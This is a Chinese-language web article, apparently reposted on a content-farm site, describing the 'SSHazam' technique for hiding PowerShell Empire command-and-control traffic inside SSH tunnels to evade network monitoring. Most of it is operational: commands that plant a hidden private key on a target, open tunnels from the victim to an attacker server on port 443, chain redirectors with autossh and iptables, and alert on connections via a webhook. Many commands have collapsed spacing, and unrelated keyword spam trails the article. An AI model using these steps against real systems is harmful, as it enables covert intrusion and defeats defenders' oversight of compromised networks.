千家信息网

SSHazam中怎么利用SSH隧道实现隐蔽C2通信

发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,这篇文章将为大家详细讲解有关SSHazam中怎么利用SSH隧道实现隐蔽C2通信,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。SSHazam这种技术可以帮助你将任何C
千家信息网最后更新 2026年11月03日SSHazam中怎么利用SSH隧道实现隐蔽C2通信

这篇文章将为大家详细讲解有关SSHazam中怎么利用SSH隧道实现隐蔽C2通信,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

SSHazam这种技术可以帮助你将任何C2工具的通信流量隐藏在标准SSH通信信道中以躲避网络监测。

直奔主题

在下面的演示样本中,我们会运行PowerShell Empire,它会连接至目标用户的localhost端口。本地端口会通过一个SSH连接将流量转发至远程Empire服务器,这样检测工具检测到的流量就只有SSH流量了。目标系统为OS X,但这种技术还可以利用Plink.exe【下载地址】在Windows平台上实现。



上图显示的是,目标系统有一个监听端口5430的SSH信道,会将所有接收到的数据转发至Empire服务器。Empire服务器运行了Empire实例并在其localhost(127.0.0.1:5430)监听着相同的端口。为了更好地隐藏SSH流量,我们还让SSH服务器监听端口443,而不是标准端口22。别忘了修改SSH配置文件,来让它监听这个端口,然后修改云防火墙来允许流量通过。

你还需要在建立连接前往目标系统中拷贝一份私钥,对应的公钥必须添加到Empire服务器中的authorized_keys文件中。在演示样例中,我们会将私钥文件放在目标系统的~/.ssh/.do.key。下面的操作步骤需要在命令行中执行:

mkdir~/.sshchmod700 ~/.sshecho-----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.keyechoMIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >>~/.ssh/.do.keyecho+qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >>~/.ssh/.do.keyechoRkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >>~/.ssh/.do.keyechoNHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >>~/.ssh/.do.keyecho-----END RSA PRIVATE KEY----- >> ~/.ssh/.do.keychmod600 ~/.ssh/.do.key

为了防止其他人访问这个私钥,你需要修改Empire服务器的配置。编辑/etx/passwd,并将登录路径修改为/bin/false:

victim:x:1001:1001:VictimGuy,,,:/home/victim:/bin/false

将私钥存在目标系统中之后,只需要运行下列命令即可开启SSH信道和端口了:

ssh -i~/.ssh/.do.key  -p 443 -N -f-oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430

现在需要配置PowerShell Empire,或者你自己的C2,来监听127.0.0.1:5430。此时,所有的C2流量都会隐藏在加密的SSH信道中,你也无需担心其他的网络监测工具了。

技术分析

这种技术其实非常简单,可以直接给到你C2会话。有时你可能不想把客户的敏感信息存放到第三方的云服务器中,这样你就需要设置一个额外的重定向工具来将云主机的流量转发到你自己的网络中了。整个流程大致如下图所示:


C2连接会通过SSH信道转发至Empire重定向器。Empire重定向器的防火墙规则会将流量转发至另一个重定向器(中间件),然后建立逆向SSH连接将流量转发至最终的目的地。

需要在目标设备上运行的SSH命令如下:

ssh-i ~/.ssh/.do.key  -p 443 -N -f-oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L5430:127.0.0.1:5431

在攻击主机上运行的SSH命令如下:

autossh-M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

你可能还需要先安装autossh,因为它可以让你的SSH信道长时间保持通信状态。

Empire重定向器的IP Table规则如下:

iptables-t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -mmultiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432iptables-t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -jMASQUERADEsysctl-w net.ipv4.conf.all.route_localnet=1

此时,工具会将端口5430至端口65535的流量全部转发至最终的重定向器,这样你就可以捕捉目标用户的全部流量了。

重定向器的IP Table规则如下:

sysctl-w net.ipv4.conf.all.route_localnet=1iptables-t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

这看起来有些复杂,但是这种方法非常实用,可以保护你云端外的敏感数据。

如果你想在SSH连接建立成功之后收到通知的话,可以在/etc/pam.d/sshd文件中添加下列两行代码:

session[success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.soopensessionoptional pam_exec.so /home/root/ssh-slack-alert.sh

我的通知提醒脚本代码如下:

#!/usr/bin/envbash if ["$PAM_USER" != "admin" ] && [ $PAM_TYPE !="close_session" ]thenmessage="\`\`\`PamType:$PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname:`hostname`\`\`\`" curl-X POST \  --data-urlencode"payload={\"channel\": \"alerts\",\"username\": \"SSHazam\", \"text\":\"${message}\", \"icon_emoji\": \":boom:\"}"\ https://hooks.slack.com/services/YOUR/SLACK/HOOKHEREfi

关于"SSHazam中怎么利用SSH隧道实现隐蔽C2通信"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

流量 端口 目标 服务器 服务 信道 通信 工具 系统 监听 运行 命令 技术 文件 篇文章 网络 规则 配置 隧道 实用 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网是第几次科技革命的成果 互联网科技网 中关村互联网科技集团 互联网金融监管科技数据 今日互联网科技 互联网下的科技发展 北京互联网科技有限公司 中国互联网科技发展 深圳期待互联网科技 中盈科技互联网信息有限公司 深圳前海聚择互联网科技有限公司 金融科技与互联网金融相同和不同 移动互联网科技公司 江苏苏星互联网科技有限公司 皮皮虾互联网科技有限公司 南京一网一红互联网科技有限公司 科技互联网行业投资研究 艺电能源互联网科技有限公司招聘 科技信息时代互联网发展 重庆科技产业互联网有哪些 深圳恒合互联网络科技有限公司 A股互联网金融科技公司 互联网和科技创新 腾讯阿里互联网科技 互联网金融 科技金融 互联网科技金融公司 赫美联合互联网科技 玖二柒互联网科技公司待遇 西藏七维空间互联网科技有限公司 广州三三互联网科技有限公司
0